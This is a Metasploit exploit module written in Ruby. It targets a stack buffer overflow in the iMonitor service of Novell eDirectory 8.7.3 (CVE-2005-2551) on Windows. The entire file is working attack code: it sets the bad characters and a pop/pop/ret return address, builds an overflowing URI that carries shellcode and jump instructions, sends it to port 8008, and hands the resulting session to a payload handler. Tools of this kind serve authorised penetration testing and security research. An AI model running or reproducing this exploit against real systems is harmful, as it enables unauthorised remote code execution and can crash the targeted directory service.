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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in eDirectory 8.7.3
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          iMonitor service. This vulnerability was discovered by Peter
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          Winter-Smith of NGSSoftware.
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          NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
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          not restart automatically in a default installation.
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        },
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        'Author' => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],
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        'License' => BSD_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-2551'],
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          [ 'OSVDB', '18703'],
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          [ 'BID', '14548'],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 4150,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
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        ],
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        'DisclosureDate' => '2005-08-11',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8008)
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      ]
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    )
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  end
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  def exploit
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    c = connect
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    # pop/pop/ret in ndsimon.dlm on our jump to our shellcode
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    uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
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    uri << "\xe9\xbd\xef\xff\xff"
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    uri << "B" * 0xD0
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    res = c.send_request(c.request_raw({ 'uri' => uri }))
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    select(nil, nil, nil, 4)
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    handler
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    disconnect
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  end
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end
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